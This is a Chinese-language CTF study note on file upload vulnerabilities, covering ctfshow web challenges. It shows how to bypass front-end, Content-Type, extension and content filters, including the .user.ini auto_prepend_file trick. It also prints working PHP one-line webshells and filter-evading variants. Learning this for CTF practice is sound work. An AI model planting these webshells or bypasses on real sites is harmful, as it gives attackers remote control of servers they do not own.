文件上传漏洞
前言:由于比赛要考,所以来学文件上传漏洞了
1.0 什么是文件上传漏洞
文件上传漏洞,就是网页没有对上传文件的形式进行限制,或者说对于其的限制可绕过从而产生的
漏洞,对于此漏洞,我们可以上传后门文件,例如一句话木马,从而获得网站的后门权限。
1.1 前端验证型
典例就是Ctfshow web 151
我们查看一下按钮的前端代码
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}"><i class="layui-icon"></i>上传图片</button>
发现出现了自定义属性,lay-data,尝试直接提交一句话木马看一下是否能成功,发现不能提交该格式的文件,故
考虑进行了前端验证,将exts的值改为php,再尝试提交一下,发现成功了。
具体的一句话木马如下
<?php
@eval($_POST['a']);
?>
a是连接的密码,可以任意更改
利用webshell管理工具就可控制其网站了。
除了这种思路,我们还可以采取先以正确后缀提交文件,绕过前端验证,然后抓包改文件名。
1.3限制content-type型
如果是根据content-type对文件类型进行后端判断的,很简单,直接抓包改content-type即可
比如将原本的application/php改为image/png,即可绕过
1.4 限制接受的文件类型型
如果在后端对文件后缀进行了判定,限制不能为php文件,我们该如何处理呢
如果我们直接更改filename,很明显上传后端的文件也不是php格式了,明显不能这样
这时候可能就需要用到.user.ini了
php.ini是php的一个全局配置文件,对整个web服务器起作用,.user.ini是用户自定义的一个
php.ini,我们可以利用其来构造后们
.user.ini有两种配置形式,
auto_prepend_file= filename //将另外一个文件的内容包含在所有php文件的文件头
auto_append_file=filename //将另外一个文件的内容包含在所有php文件的尾部
所以当.user.ini文件,包含的文件,和任意的php文件出现在同一个目录下,就可以进行构造
webshell了,注意,这几个文件必须在同一个文件夹内,一般在upload文件夹内
首先先上传.user.ini文件,内容就写
auto_prepend_file= filename
比如你要上传的一句话木马名称为a.png,就将filename改为a.png即可
上传时由于前端存在限制,先以.user.png类型提交,然后抓包更改filename,更改为.user.ini
然后直接上传a.png,之后用蚁剑连接即可
需要注意的是.user.ini作用域为当前目录
1.5 限制文件内容
又到了经典的内容过滤了,这部分太典了,各种绕过就行
1.5.1 php过滤
后端如果对文件内容的php字符进行限制,我们可以使用不同的代码标签绕过
具体绕过思路为
1 php大小写绕过
<?pHp
?>
2 短标签绕过
<?= eval($_POST[1]);?>
<? eval($_POST[1]);?>
<% eval($_POST[1]);%>
通过这两种标签构造.user.ini可以成功写入webshell
1.5.2 []过滤
对于这种过滤,解决起来也比较容易,直接用花括号代替即可
1.5.3 [] {}同时过滤
以ctfshow web 157为例子
如果我们同时将[]
和{}
进行了过滤,那么该如何绕过呢?
首先我们明白,post的数据是存储在post数组中的,既然这样,我们不按位置进行调用,直接pop,也是可以执行
内部内容的
<?phP
eval(array_pop($_POST))
?>
为什么没有分号呢?因为该题也过滤掉了分号,但由于php的最后一行语句可以不带,所以直接去掉即可。